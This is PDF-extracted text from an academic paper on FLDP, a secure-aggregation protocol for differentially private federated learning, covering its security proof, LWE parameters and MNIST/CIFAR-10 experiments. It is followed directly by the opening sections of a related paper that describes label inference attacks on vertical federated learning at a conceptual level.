The clients perform the traditional reconstruction technique
on both subsets. If the values returned by both reconstructions
are equivalent, they accept the result as correct. Otherwise,
they abort. The modified reconstruction procedure appears
in Algorithm 5. Replacing the call to reconstruct in Pro-
tocol 4 with a call to this modified reconstruction procedure
yields a malicious-secure protocol.

Note that Algorithm 5 does not require communication
with other clients. General-purpose malicious-secure proto-
cols based on the same principle require interaction between
the clients to check for cheating (e.g., the protocol of Chida
et al. [17]) because they use the “extra” shares to perform
multiplication. Since our application does not require multi-
plication, we can use these shares to catch cheating instead.

Algorithm 5 can be extended to the packed Shamir variant
by requiring that each client has access to t + k+ 1 shares.
The number of shares to which access is required must be
increased because the reconstruction threshold is increased
in the packed variant. Protocol 4 and Algorithm 5 realize
the ideal functionality Sagg in the malicious adversary threat
model.

4.6 Security Analysis
Here we analyze the security of Protocol 3, which we will
denote as π.

USENIX Association 31st USENIX Security Symposium    1385



Suppose the ideal functionality of noisy vector addition as
F , an adversary A. Let vi and xi be input and view of client
i respectively. Let xs be the view of the server. n is the LWE
security parameter. Suppose a maliciously secure aggregation
protocol Sagg(X , t). Let V be the output of π.

Let U be the set of clients, and C ⊂U ∪{S} be the set of
corrupt parties.

In the malicious model, we consider dropping out an ad-
versarial behavior without loss of generality.

Suppose the simulator has access to an oracle
IDEAL(t,vu)u∈U\C where:

IDEAL(t,vu)u∈U\C =

{
Σu∈U\Cvu |U \C|> t
⊥ otherwise

Let REALU
π,C = {xi|i ∈C},V .

Theorem 1 There exists a PPT simulator SIM such that for
all t, U, C

REALU
π,C(n, t;vU\C)≡ SIM

U,IDEAL(t,vu)
C (n, t;xC)

The proof full proof of this theorem can be found in Ap-
pendix A.

4.6.1 LWE parameters

The security of an LWE instance is parameterized by the tuple
(n,q,β) where n is the width of the matrix A (or equivalently
the dimension of the secret s), q is the field size, and β is such
that βq is the width of the error distribution χ (so that the
standard deviation is σ = βq√

2π
; this quantity is denoted α in

the LWE literature, but we choose β here so as to not conflict
with the notation for Rényi divergence). We used the LWE
estimator [4] to calculate the security of each parameter tuple.
Table 2 displays a series of LWE parameters for different
potential aggregation scenarios, each with at least 128 bits of
security.

The different parameter settings are driven by different
sizes of q, which would enable more precision in the aggre-
gate values. A larger field size also allows more clients to be
involved in the aggregation. Field sizes picked here may also
utilize fast Fourier transform secret sharing. For this reason
we consider q fixed by the application of the protocol. Since
we also use a fixed valued of β = 3.2

q , the security offered by
the LWE problem depends on the variable n (the length of the
secret s), which we call the security parameter.

4.7 Encoding and Decoding Gradients
In order to manipulate gradients with MPC, we require that
they can be encoded as a vector of finite field elements. First
we flatten the tensors that compose each gradient into a vector

Protocol 6: Malicious-Secure NoisyBatchGradient
Input :Batch of clients Pk of size k, noise parameter

σ, clipping parameter C, current model θ.
Output :Noisy gradient Ĝ.
Privacy guarantee: satisfies

(
α, C2α

σ2

)
-RDP for

α≥ 1, assuming honest majority of clients

1 for each client pi ∈ Pk do
2 gi← ∇L(θ,dataOf(pi)) compute gradient
3 ḡi← gi/max(1, ‖gi‖2

C ) clip gradient

4 ĝi← ḡi +N (0, σ2

k I) add noise
5 vi← EncodeGradient(ĝi) encode gradient

Client pi ∈ Pk provides vi as input to Secure Vector
Addition (Protocol 4). Together, the clients compute
Ĝ = ∑

k
i=1 ĝi. Ĝ is released to the untrusted server.

of floating point numbers. The aggregation operation of gra-
dients is element wise. Therefore, we simplify the encoding
problem to encoding a floating point number as a finite field
element. Gradient elements are clipped, and encoded as fixed
point numbers. We chose 16 bit numbers with 4 digits of
precision after the decimal. This precision was sufficient for
model conversion on the MNIST and CFAR-10 problems.

The integers are converted to unsigned integers using an
offset, and the unsigned integer result can be encoded into
any field larger than 216. The fields used in our experiment
are outlined in Table 2.

4.8 Malicious Secure FLDP

We now have all the MPC operations necessary to implement
our ideal functionality from Protocol 1 as a secure multiparty
computation. Protocol 6 securely implements Functionality 2,
and can replace it directly to implement FLDP. This version
of NoisyBatchGradient computes the gradient and adds
noise to it in the same way as the ideal functionality, but
invokes Protocol 4 to sum the vectors. This requires encoding
each noisy gradient as a vector of field elements, as described
in the last section.

Privacy analysis. The privacy analysis of Protocol 1 relies
on the fact that the sum of Gaussian random variables is itself
a Gaussian random variable. However, as Kairouz et al. [29]
point out, this property does not hold for discrete Gaussians—
and since EncodeGradient uses a fixed-point representation
for noisy gradients, we cannot rely on the summation property.
Instead, our privacy analysis proceeds based on Proposition
14 of Kairouz et al. [29]:

Proposition 1 (from Kairouz et al. [29]) Let σ ≥ 1
2 . Let

Xi, j ← NZ(0,σ2) independently for each i and j. Let Xi =
(Xi,1, . . . ,Xi,d) ∈ Zd . Let Zn = ∑

n
i=1 Xi ∈ Zd . Then, for all
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∆ ∈ Zd and all α ∈ [1,∞),

Dα(Zn||Zn +∆)≤ α‖∆‖2
2

2nσ2 + τd

where τ := 10 ·∑n−1
k=1 e−2π2σ2 k

k+1 .

Proposition 1 provides a bound on Rényi divergence, Dα,
for noise generated as the sum of discrete Gaussians, which di-
rectly implies Rényi differential privacy. In our setting, Propo-
sition 1 yields almost identical results to the privacy analysis
of Protocol 1 (which assumes continuous Gaussians). Note
that the first term of the bound from Proposition 1 is identical
to the bound given in our earlier privacy analysis, when n is
equal to the batch size b and ‖∆‖2

2 is equal to C2 (where C is
the L2 clipping parameter).

As the fixed-point representation of noisy gradients be-
comes more precise, the second term of the bound (τd) be-
comes extremely small. The EncodeGradient function uses
4 places of precision past the decimal point, meaning that the
effective values of σ2 and ‖∆‖2

2 are 10,000 times their “origi-
nal” values. Each additional place of precision adds another
factor of 10 to both values. This has the effect of reducing the
value of τ to extremely close to zero.

We have implemented both the original analysis (which
incorrectly assumes continuous Gaussians) and Proposition 1.
The results reported in Section 5 use Proposition 1, but the two
methods yield values of ε so close together that the resulting
graphs are indistinguishable.

4.9 Algorithmic Complexity
Client computation is comprised of three tasks. Generating
a random vector s of length n, generating a random vector e
of length m, multiplying s by m×n matrix A, and generating
secret shares for s. Random vector generation is an O(m+n)
operation where n is length of secret vector s and m is the
length of e. This can be reduced to O(m) because m will
be larger than n in any practical use of FLDP. Matrix multi-
plication by a vector is an O(mn) operation where m is the
vector size; each matrix element is considered exactly once.
Finally, secret share generation is done using the packed FFT
method [19], and therefore has a complexity of O(k log(k))
where k is the number of clients. In sum, this gives us a run-
time of O(mn+ k log(k)) for client computation with respect
to our vector size m and s length n.

In order to assume the difficulty of the LWE decision prob-
lem, we require that q be polynomial in n. Though the field
size does affect the precision of the values to be aggregated
and the possible number of parties to the aggregation scheme,
it is customary to think of q as a constant, and therefore n
is constant here too in our complexity analysis. However, in
practice it is possible to choose n quite small relative to q.

Server complexity consists of adding k masked vectors,
reconstructing the packed secret sharing, and multiplying an

m×n matrix by a length n vector. The vector addition and ma-
trix multiplication have complexity O(mk+m log(k)). Recon-
structing the packed secret shares takes time O(k log(k)) in
the semi-honest case with no dropouts using the Fast Fourier
Transform method. In the case of malicious security and
dropouts, we use Lagrange interpolation to obtain a runtime
of O(k2). The number of dropouts does not affect runtime
complexity as long as there are more than 0 dropouts. In total,
the server runtime complexity is O(mk+mn+k log(k)) in the
no dropout scenario, and O(mk+mn+k2) in case of dropouts
or malicious adversaries.

5 Evaluation

Our empirical evaluation aims to answer two research ques-
tions:

• RQ1: How does the concrete performance of FLDP com-
pare to state-of-the-art secure aggregation?

• RQ2: Is FLDP capable of training accurate models?

We conduct two experiments to answer both questions in the
affirmative. We first describe our experiment setup and the
datasets used in our evaluation. Section 5.1 describes our
scalability experiment; the results show that FLDP scales to
realistic batch sizes, and that model updates take only sec-
onds. Section 5.2 describes our accuracy experiment; the
results demonstrate that FLDP trains models with compara-
ble accuracy to central-model differentially private training
algorithms.

Experiment setup. Our experiments take place in two phases.
First, the model is trained in a single process with privacy
preserving noise added to each gradient. As model training oc-
curs, gradients for each training sample are written to file. The
second phase involves the MPC simulation. Clients read their
noisy gradients from file, and aggregate them using FLDP.

This experimental setup is necessary for the implementa-
tion of local experiments with batch sizes of 128. Reading
each gradient from file sidesteps the need for each client to
have their own TensorFlow instance, substantially reducing
our memory consumption footprint.

Running these two separate experiments ensures that the
MPC results reflect the performance of FLDP without consid-
ering the overhead of training 128 separate neural networks
in parallel.

The memory consumption issue described here is created
by simulating many clients on the same machine. In a true
federated learning instance, each client would have their own
independent resources, and therefore would not run into this
same issue.
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Figure 1: The left figure displays the expansion factor for using our protocol with various vector sizes and numbers of clients,
comparing our approach (solid lines) against the secure aggregation protocol of Bonawitz et al. [12] (dashed lines). The right
figure includes cost of a single client’s computation. The client timing results are identical regardless of the dropout so only the
dropout situation is plotted.

5.1 Experiment 1: Masking Scalability

This section strives to answer RQ1. We implemented the
masking protocol in single threaded python and evaluated
various federation configurations. Experiments were run on an
AWS z1d2xlarge instance with a 4.0Ghz Intel Xeon processor
and 64 Gb of RAM [1]. Concrete timing and expansion results
for protocol computation are included in Figures 1, 2, and
Table 2. We assume semi-honest behavior from the adversary
and consider the scenario with no dropouts as well as a 25%
dropout rate. In all experiments, β is assumed to be 3.2/q.
We assume a single aggregation server, and we assume that
clients broadcast the sum of shares to the server rather than
performing Shamir reconstruction themselves.

5.1.1 Experimental Performance

Figures 1 and 2 presents our concrete performance results.
We see a significant improvement in client and server compu-
tation time over the concrete performance results of Bonawitz
et al. [12]. Client computation takes less than half a second
for all configurations tested, and is dictated by a linear rela-
tionship with the vector size.

Server computation time has a linear relationship with vec-
tor size and a quadratic relationship with the number of clients.
In the case with no dropouts, server computation is quick, tak-
ing less than 5 seconds for all configurations tested. In the
dropout scenario, server computation is significantly slower,
but still much faster than the state of the art [12].

Server time is dominated by the Lagrange interpolation
process used for reconstruction. The no dropout case has no
lagrange interpolation, the dropout model uses lagrange in-
terpolation once, and the malicious protocol performs two
rounds of lagrange interpolation. Figure 2 shows that the ma-
licious protocol requires about twice as much time as the

dropout friendly protocol. This is because of lagrange interpo-
lation. Performance can be improved with faster interpolation
algorithms [51].

Recall the quantity β from Section 4.6.1, which given q the
size of the field gives us the standard deviation of the noise.
We observe that changing β has no effect on the runtime.
We note that changing β can require different values for n
and q to guarantee a certain amount of security, but this is
only necessary if β is decreased. For our timing experiments
we chose β = 3.2/q to accommodate a wide variety of pri-
vacy budgets for relatively small fixed precision. Because our
values are fixed precision with 4 decimal places, the chosen
value of β adds noise with standard deviation .0409 to our
aggregated vectors assuming 128 clients. This is far less than
the minimum amount of DP-noise we added in our accuracy
experiments, which had a standard deviation of 1.

5.2 Experiment 2: Model Accuracy
This section strives to answer RQ2. We implement our mod-
els in TensorFlow. To preserve privacy, we add noise scaled
to a constant σ to each example’s gradient, which results in
the batch gradient described by Equation 1. Each gradient is
clipped, by a constant C = 5 such that batch gradient sensi-
tivity is bounded by C/batch_size. These two modifications
to a traditional neural network training loop ensure that our
models satisfy differential privacy. Adding noise in this way
also accurately reflects the process that would be used by a
federation member using FLDP. Gradient updates for individ-
ual samples are saved during training for use during the MPC
experiments.

We evaluate the accuracy and scalability of FLDP with the
standard MNIST and CIFAR-10 datasets. Both datasets, and
the models we train with them are listed in Table 3.

For both the MNIST and CIFAR-10 models, we utilize cate-
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Figure 2: The effects of different federation size and different vector size on server computation time malicious, semi-honest, and
dropout tolerant threat models. The malicious threat model tolerates dropouts.

Clients q n % Dropout Server Client Bonawitz Server Bonawitz Client

478 31352833 710 0 310 80 2018 849
625 41057281 730 0 447 84 2018 849
1000 71663617 750 0 668 88 4887 1699

478 31352833 710 29 496 91 143389 849
625 41057281 730 29 375 93 143389 849
1000 71663617 750 29 21931 99 413767 1699

Table 2: Client and server times for various LWE configurations. Vector size is fixed at 100,000 and βq = 3.2. Times are in
milliseconds. Results from Bonawitz et al. [12] for 500 and 1000 parties with 0 and 30% dropout are included for comparison.

Property MNIST CIFAR-10

Train Set Size 60,000 50,000
Test Set Size 10,000 10,000
# Conv layers 2 6
# Parameters 26,000 550,000
Batch Sizes 16, 32, 64, 128 16, 32, 64, 128

σ 0, 1, 2, 4, 8 0, 1, 2, 4, 8, 16

Table 3: Datasets and model configurations used in our exper-
iments

gorical cross entropy for our loss function, stochastic gradient
descent with a learning rate of 0.01 and momentum of 0.9 for
our optimizer and a clipping parameter C = 5 for all trials.

We run a series of trials for each dataset with each pair
of batch size and σ listed in Table 3. All accuracy results
are the per epoch average of 4 trials with the given model
configuration. ε is calculated post hoc as a function of
σ,C,batch_size,epochs. All ε values are calculated from the
corresponding Rényi differential privacy guarantee by pick-
ing α to minimize the RDP ε parameter, then converting this
guarantee into (ε,δ)-differential privacy with δ = 10−5. We
see selected accuracy results reported for differing values of
ε in Figure 3.

5.2.1 MNIST

The Modified National Institute of Standards and Technology
database is an often used image recognition benchmark con-
sisting of 60,000 training samples and 10,000 testing samples;
each sample is a 28×28 gray scale image of a handwritten
digit. We train a classifier containing 2 ReLU-activated con-
volution layers, max pooling following each of them, and a
ReLU activated dense layer with 32 nodes. Finally, classifi-
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cations are done with a softmax layer. This model has about
26,000 trainable parameters in total.

After training for 275 epochs, our private MNIST models
are able to attain a maximum 98.7% mean validation accu-
racy over 4 trials. This is a slight decrease in accuracy from
the no noise baseline accuracy of 99.2%, however the private
model still generalizes very well. Figure 4 shows how differ-
ent privacy budgets affect accuracy for our sample batch sizes.
Models trained with all batch sizes see improved accuracy as
ε increases, however larger batch sizes tend to produce more
accurate models, especially for small values of ε. Improved
accuracy for larger batch sizes can be seen as an effect of the
private average, where the sensitivity of the gradient average
is inversely proportional to the batch size. Therefore, larger
batches require less noise added for a given privacy budget,
resulting in a more accurate model.

5.2.2 CIFAR-10

The Canadian Institute for Advanced Research 10 dataset
consists of 60,000 colored images equally partitioned into 10
classes. Each image is 32×32 with 3 channel RGB colored
pixels. We separated the dataset into 50,000 training examples
and 10,000 test samples for our experiment. Our trained model
contains three pairs of ReLU-activated convolution layers
with batch normalization after each layer, and max pooling
after each pair. We also include one ReLU activated dense
layer with 128 nodes, and a softmax activated output layer.
This model contains 550,000 parameters.

With a batch size of 64, we achieve a maximum accuracy of
70.0% mean validation accuracy over 4 trials on CIFAR-10.
This is a sizeable drop in accuracy compared to the 77.4%
mean accuracy of our architecture trained without differential
privacy, however it is in line with differentially private model
performance in the central model [2].

Figure 4 demonstrates the correlation between larger batch
size and greater accuracy when controlling for a specific pri-
vacy budget. As with MNIST, the greater accuracy with larger
batch sizes likely stems from gradient sensitivity being depen-
dent on the batch size itself. That said, for ε < 10, we achieve
our most accurate model with a batch size of 64 (ε = 3.67),
which is well within the scalable limits of FLDP as defined
in Section 5.1.

5.2.3 Comparison With Centralized Differential Pri-
vacy

Our approach produces models with accuracy highly compa-
rable to those achieved by Abadi et. al. [2]. Table 4 shows that
for a given privacy budget, our approach is able to produce an
output within 3% of the equivalent central-model accuracy. It
is worth noting that we report the average of 4 trials in this
table, and that we observe the same, or better, decrease in
accuracy with respect to the no-noise baseline for each model.

Method Abadi et. al. [2] FLDP

MNIST (ε≤ 2) 95% 95%
MNIST (ε≤ 8) 97% 99%

CIFAR-10 (ε≤ 4) 70% 70%
CIFAR-10 (ε≤ 8) 73% 70%

Table 4: A comparison of our private model accuracy with a
central-model differentially private training algorithm. For all
models, δ = 10−5. For all of our models, batch size is 64.

These comparable accuracy results demonstrate the usability
of FLDP for privacy preserving federated learning.

6 Related Work

Secure multiparty computation. Secure multiparty compu-
tation (MPC) [23] is a family of techniques that enable mutu-
ally distrustful parties to collaboratively compute a function
of their distributed inputs without revealing those inputs. MPC
techniques include garbled circuits [49] (which is most easily
applied in the two-party case) and approaches based on se-
cret sharing [41] (which naturally apply in the n-party case).
MPC approaches have seen rapid improvement over the past
20 years, but scalability remains a challenge for practical de-
ployments. In particular, most MPC protocols work best when
the number of parties is small (e.g., 2 or 3), and costs grow at
least quadratically with the number of parties. State-of-the-art
protocols support significantly more parties: Wang et al. [47]
reach 128 parties using a garbled circuits approach, and Chida
et al. [17] reach 110 parties using a secret sharing approach.
MPC for differentially private deep learning. MPC tech-
niques have been previously applied to the problem of differ-
entially private deep learning, but these approaches require ei-
ther a semi-honest data curator [45] or two non-colluding data
curators [27]. Secure aggregation protocols [8, 12] (detailed
in Section 2) are themselves MPC protocols, specifically de-
signed for the many-client setting. Kairouz et al. [29] present a
general framework for differentially private federated learning
that leverages existing secure aggregation protocols.
Security for distributed differential privacy. Outside of
deep learning, several systems have been proposed for com-
puting differentially private results from distributed data. Hon-
eycrisp [37] and Orchard [38] are most related to our work,
and use a distributed protocol similar to secure aggregation to
compute the results of database-style queries. ShrinkWrap [7]
and CRYPTε [39] leverage existing MPC frameworks to im-
plement differentially private database queries.
Secure and Private Federated Learning. MPC and Differ-
ential privacy may also be applied to the problem of Feder-
ated Learning separately. Several local differential privacy
approaches have been proposed [46, 48]. These approaches
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Figure 3: Validation accuracy progression over training runs on MNIST and CIFAR for various values of ε (δ = 10−5). All
accuracy values are the average of 4 trials. Batch size is restricted to 64.

Figure 4: The effects of privacy budget and batch size on validation accuracy (δ = 10−5). Each solid line is a moving average
of Accuracy as epsilon increases for a given batch size. The dotted line is the maximum accuracy achieved by our model with
no noise added during training. Private federated learning is able to approach non-private accuracy for several batch sizes on
MNIST. On CIFAR-10 e see that private models tend to be more accurate with larger batch sizes, while the opposite is true for
non-private models.

add sufficient noise to a client’s gradient before performing
aggregation in the clear, thus circumventing the need for MPC.
In this way LDP-based approaches scale to large federations
quite well, but typically require very large privacy budgets for
model convergence.

MPC techniques can be applied to federated learning to
satisfy a variety of properties. POSEIDON [40] and So et.
al [43] use MPC for substantially more robust threat mod-
els, N−1 adversaries and Byzantine resistance respectively,
but do not utilize differential privacy, and focus on smaller
federations (< 50 parties) than FLDP. EIFFeL [18] on the
other hand, employs non-interactive zero-knowledge proofs
to ensure the integrity of masked inputs. These approaches
can prevent some additional attacks we do not consider (e.g.

data poisoning), but are designed for smaller federations.

Learning with Errors. As noted in Sections 4.6.1 and 5.1.1,
in this work we fix βq = 3.2. We note that the security re-
ductions that ensure that the LWE search problem is difficult
do not apply in this case: In [36], Regev shows that if q is
chosen to be polynomial in n, and χ is a certain discretiza-
tion of a Gaussian distribution on Fq with standard deviation

βq√
2π

for 0 < β < 1 and βq > 2
√

n, then solving the LWE
search problem can be quantumly reduced to an algorithm
that approximately solves the Shortest Vector Problem and
the Shortest Independent Vectors problem. In [35], Peikert
shows a classical reduction to the (slightly easier) GapSVP
problem.
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While as far as we know there are no security reductions
for small fixed βq, at the same time we do not currently know
of an attack that takes advantage of a small constant standard
deviation. Accordingly, our choice is similar to the choice
made in the current FrodoKEM algorithm specifications (sub-
mission to Round 3 of the NIST PQC challenge) [5, 13] and
consistent with the recommendation of [3].

7 Conclusion

In the past decade, an explosion in data collection has led
to huge strides forward in machine learning, but the use of
sensitive personal data in machine learning also represents a
serious privacy concern. We present an approach based on a
new protocol called FLDP that ensures differential privacy for
the trained model, without the need for a trusted data aggrega-
tor. Using FLDP allows a highly accurate model to be trained
in a federated (distributed) manner while guaranteeing the
privacy of data owners, even against powerful and colluding
adversaries. Our empirical results show that these accurate
models are trainable within a feasible time frame for practical
applications, especially when accuracy and low trust burdens
are critical.

The promising results presented in our evaluation also
suggest directions for future research. For example, gra-
dient compression techniques can substantially reduce in-
communication overhead for distributed training [31]. Paired
with FLDP, these techniques could further reduce the time
per batch for larger models, and potentially improve our scal-
ability with respect to model complexity. Moreover, we apply
FLDP to the very specific case of privacy preserving feder-
ated learning, but additional research could consider how these
techniques scale with simpler, yet important, data problems.
For example, the core noise addition and secure aggregation
methods described in this paper could be adapted to privacy-
preserving database queries, while eliminating the need for a
central database.
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A Proof of security

Suppose the ideal functionality of noisy vector addition as
F , an adversary A. Let vi and xi be input and view of client
i respectively. Let xs be the view of the server. n is the LWE
security parameter. Suppose a maliciously secure aggregation
protocol Sagg(X , t). Let V be the output of π.

Let U be the set of clients, and C ⊂U ∪{S} be the set of
corrupt parties.

In the malicious model, we consider dropping out an ad-
versarial behavior without loss of generality.

Suppose the simulator has access to an oracle
IDEAL(t,vu)u∈U\C where:

IDEAL(t,vu)u∈U\C =

{
Σu∈U\Cvu |U \C|> t
⊥ otherwise

Let REALU
π,C = {xi|i ∈C},V .

Theorem 2 There exists a PPT simulator SIM such that for
all t, U, C

REALU
π,C(n, t;vU\C)≡ SIM

U,IDEAL(t,vu)
C (n, t;xC)

Proven through the hybrid argument.

1. This hybrid is a random variable distributed exactly like
REALU

FLDP,C(n, t;vU\C)

2. In this hybrid SIM has access to {xi|i ∈U}. SIM runs the
full protocol and outputs a view of the adversary from
the previous hybrid.

3. In this hybrid, SIM has corrupt parties receive an ABORT
if the server sends a U1 such that t > |U1|.

4. In this hybrid, SIM replaces V with the output of F from
any xC.

5. In this hybrid, SIM generates the ideal inputs of the
corrupt parties using the IDEAL oracle, SIM generates
a set of random inputs VC such that Σi∈Cvi = F(vU )−
IDEAL(t,vu)u∈U\C. The output domain of FLDP is any
vector V ∈ Fm

q and ABORT . SIM can replicate any vec-
tor output using this process. Therefore, this hybrid is
indistinguishable from the previous hybrid.

6. In this hybrid, SIM replaces s, the sum of secret vectors
with a vector of random field elements distributed by χ∗
k. Because s is not used to reconstruct G, and is normally
distributed by χ∗ k, this hybrid is indistinguishable from
the previous hybrid.

7. In this hybrid, SIM replaces H with V +As.

8. In this hybrid, SIM replaces the run of protocol Sagg
with the ideal simulation of Sagg. If Sagg returns ABORT,
SIM returns ABORT. Because Sagg is secure, this hybrid
is indistinguishable from the previous hybrid using each
parties si as input.

9. In this hybrid, SIM replaces the si of each client with a
vector of elements distributed by χ. Because si is typi-
cally distributed by χ and each si is not used to compute
s anymore, this hybrid is indistinguishable from the pre-
vious hybrid.

10. In this hybrid, SIM replaces the bi of each client with
a vector of uniformly distributed field elements in Fm

q .
Given the LWE assumption, bi should be indistinguish-
able from random field elements, so this hybrid is indis-
tinguishable from the previous hybrid from the perspec-
tive of the adversary.

11. In this hybrid, SIM replaces hi of each client with a vec-
tor of uniformly distributed field elements in Fq. By the
definition of one time pad, this hybrid should be indis-
tinguishable from the previous hybrid. Additionally this
hybrid does not use any input from the honest parties
and thus concludes the proof.

After these steps, the simulator no longer needs any input
from the honest clients to simulate Protocol 3, implying that
it is secure in the malicious threat model.

Notably, our malicious threat model subsumes the semi-
honest threat model. Therefore this proof proves security in
that threat model as well. In the case of a semi-honest threat
model, the security of Sagg can also eased to semi-honest.
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Abstract
As the initial variant of federated learning (FL), horizontal fed-
erated learning (HFL) applies to the situations where datasets
share the same feature space but differ in the sample space,
e.g., the collaboration between two regional banks, while
trending vertical federated learning (VFL) deals with the cases
where datasets share the same sample space but differ in the
feature space, e.g., the collaboration between a bank and an
e-commerce platform.

Although various attacks have been proposed to evaluate
the privacy risks of HFL, yet, few studies, if not none, have ex-
plored that for VFL. Considering that the typical application
scenario of VFL is that a few participants (usually two) collab-
oratively train a machine learning (ML) model with features
distributed among them but labels owned by only one of them,
protecting the privacy of the labels owned by one participant
should be a fundamental guarantee provided by VFL, as the
labels might be highly sensitive, e.g., whether a person has a
certain kind of disease. However, we discover that the bottom
model structure and the gradient update mechanism of VFL
can be exploited by a malicious participant to gain the power
to infer the privately owned labels. Worse still, by abusing
the bottom model, he/she can even infer labels beyond the
training dataset. Based on our findings, we propose a set of
novel label inference attacks against VFL. Our experiments
show that the proposed attacks achieve an outstanding per-
formance. We further share our insights and discuss possible
defenses. Our research can shed light on the hidden privacy
risks of VFL and pave the way for new research directions
towards more secure VFL.

1 Introduction

With more and more countries realizing the importance of se-
curity and privacy of user data, regulations like General Data

Chong Fu and Xuhong Zhang are the co-first authors. Shouling Ji is the
corresponding author.

Protection Regulation (GDPR) [48] are issued to put forward
strict requirements for the use of user data. Particularly, any
company cannot directly disclose its user data to any other
company, which makes it hard, if not impossible, for com-
panies to train a more accurate ML model with a joint data
pool. To address this issue, the emergence of FL provides an
alternative. As a privacy-preserving distributed ML technique,
it allows multiple participants to collaboratively train a ML
model by periodically exchanging intermediate computation
results without revealing their raw data. Worldwide IT com-
panies put much effort into developing FL systems [24]. To
date, several open source FL systems are developed, such as
TensorFlow Federated (TFF) from Google [15], Federated
AI Technology Enabler (FATE) from Tencent Webank [53],
PySyft from OpenMined [34], and PaddleFL from Baidu [3].

According to the sample and feature space of data parities,
FL can be categorized into HFL and VFL. HFL is designed for
the situations where datasets share the same feature space but
differ in the sample space, e.g., the collaboration between two
regional banks, while VFL deals with the cases where datasets
share the same sample space but differ in the feature space,
e.g., the collaboration between a bank and an e-commerce
platform. FL is claimed to be privacy-preserving as local
data never leaves participants’ local machines, but actually
FL does leak private information indirectly. Recent studies
have thoroughly analyzed the privacy and security risks of
HFL, such as data leakage from gradients [62], membership
inference attacks [33], property inference attacks [30], and
backdoor attacks [2].

However, the privacy risks of VFL remain underexplored.
Moreover, VFL is being used more and more widely in indus-
try [16,50,52,54]. One of its typical usage scenarios, which is
the focus of this paper, is that a few participants (usually two)
collaboratively train a model with features distributed among
them but labels owned by only one of them [50, 52, 54]. For
example, a car rental company with plenty of labels but lim-
ited user features for risk evaluation might want to improve its
model performance by incorporating more user features from
other businesses, e.g., a bank [52]. The role of other partici-
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Figure 1: Illustration of the label inference attacks against
VFL. In practice, the server is usually managed by the partici-
pant who holds the labels, as outlined by the dotted line. The
participant without the labels is the adversary, whose goal is
to infer the labels.

pants is simply providing more features and they usually ask
for money as return, since the final trained model is private to
the participant with the labels.

As VFL is different from HFL in many aspects including
usage scenarios, the architecture of the federated model and
the training algorithm, VFL has unique privacy issues. In this
paper, we focus on a new label leakage privacy risk of VFL. In
the VFL architecture as shown in Figure 1, there is only one
participant owning the labels, which is different from HFL
where every participant has its own labeled samples. Ensuring
the privacy of the private labels should be a fundamental guar-
antee provided by VFL, as the labels might be the key asset of
the participant or highly sensitive. Moreover, an adversarial
participant may try to build a similar business with the stolen
labels or sell the sensitive labels to underground industries.

Compared with HFL, it is more challenging for the ad-
versarial participant in VFL to infer private information. In
general, an adversarial participant in HFL controls a complete
local model and has access to gradients of all the parameters of
this model, which can be abused to infer private information.
However, in VFL, the adversarial participant only controls
part of the federated model, which cannot run independently,
and only has access to the gradients of this incomplete model.

Despite these challenges, we discover that the current de-
sign of VFL has an inherent vulnerability that can be lever-
aged by an adversarial participant to conduct label inference
attacks. A thorough study of this vulnerability is imperative
for the wide applications of VFL. Specifically, we find that
the bottom model controlled by a malicious participant might
naturally have the ability to infer the privately owned labels
of other participant(s). The reason is that during training, the
gradients propagated from the server help the bottom model
learn a good feature representation with respect to the labels
and thus can serve as a pre-trained model for label inference
attacks. The inference accuracy is determined by the expres-
siveness of this trained malicious bottom model. It is worth
noting that the bottom model empowers the malicious partici-

pant to infer the label of any sample, not just the ones in the
training dataset, as long as the input features to the bottom
model are available. In some special cases, the gradients from
the server can also directly leak the label information.

Based on the above findings, we propose a set of label
inference attacks. To take advantage of the trained bottom
model, we first introduce a passive label inference attack with
“model completion”. We show that with the help of a small
amount of auxiliary labeled data, the malicious participant
can fine-tune his/her trained bottom model into a complete
label inference model in a semi-supervised manner. Experi-
ments show that with only 70 auxiliary labeled samples, the
passive label inference attack achieves an F1 score of 0.7614
on a real-world medical image dataset with tens of thousands
of training samples. To increase the expressiveness of the
malicious bottom model so as to further improve the attack
performance, we further introduce an active label inference
attack to trick the federated model to rely more on the ma-
licious bottom model. Our experiment shows that the active
attack successfully boosts the attack performance. Moreover,
we use visualization techniques such as GradCAM [42] and
t-SNE [46] to explain why the active label inference attack
works. Then, we introduce a special direct label inference
attack which infers labels by analyzing the signs of gradients
from the server. It is only applicable when the VFL architec-
ture is not designed with split learning [47]. Our experiments
show that the direct label inference attack can achieve a label
inference accuracy of 1.00 on every evaluated dataset.

Finally, we evaluate four possible defenses: noisy gradients,
gradient compression, privacy-preserving deep learning [43]
and discreteSGD. We find that though some of these defenses
can mitigate the direct label inference attack, they are not
effective for our passive and active label inference attacks.
This motivates better defenses to enhance the privacy of VFL.

The main contributions of this paper are summarized as
follows:
• To the best of our knowledge, we are the first to evaluate

the privacy risks of VFL. We reveal and shed lights on
the new label leakage issue of VFL.

• We present three types of label inference attacks against
VFL, including the direct label inference attack, the
passive label inference attack with model completion,
and the active label inference attack with the malicious
local optimizer. These attacks cover multiple practical
VFL settings.
• We evaluate our attacks on various tasks with real-

world datasets under both two-participant and multi-
participant settings and achieve outstanding attack per-
formance. Further, we share insights about the under-
lying working mechanism of the active label inference
attack, and present readily comprehensible proofs. We
also evaluate four possible defenses against our attacks
and find that they are not effective, which motivates
future work on better defenses.
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2 Background

In this section, we briefly introduce HFL and VFL. They
both have essential industrial applications. For example, HFL
is used to improve the quality of virtual keyboard search
suggestion without directly gathering user data [57]; VFL is
used to train a joint model to predict traffic violations by a car
rental service provider and a bank [52].

2.1 Horizontal Federated Learning
HFL is suitable for the situations where all participants’ local
datasets share the same feature space but differ in the sample
space. For example, hospital A has the medical records of a
group of citizens and labels of whether they have a kind of
disease. Hospital B, located in another city, has the same kind
of medical records and labels of another group of citizens. If
the two hospitals aggregate all their samples, they can build a
larger dataset and then train a more accurate model. However,
directly sharing the private data of users is forbidden by law.
This case reflects the dilemma of “horizontally isolated data”.
HFL can be applied to solve this dilemma.

In HFL, the server runs a global model, and every partic-
ipant runs a local model. All local models share the same
model architecture with the global model. One classic train-
ing algorithm of HFL is the model averaging [29]. In model
averaging, for one training iteration, every participant trains
his/her local model for several epochs on the local dataset,
then submits the updated local model to the server; the server
then averages every submitted local model to get the updated
global model. In this way, participants can jointly train a
global model without sharing their raw data [59].

2.2 Vertical Federated Learning
VFL [18, 28, 56] is designed for the situation where partic-
ipants’ datasets share the same sample space but differ in
the feature space. For example, hospital A has CT scans of a
group of patients and labels of whether they have lung cancer.
Hospital B has MRI scans of the same group of patients. If
these two hospitals put their data together, they can train a
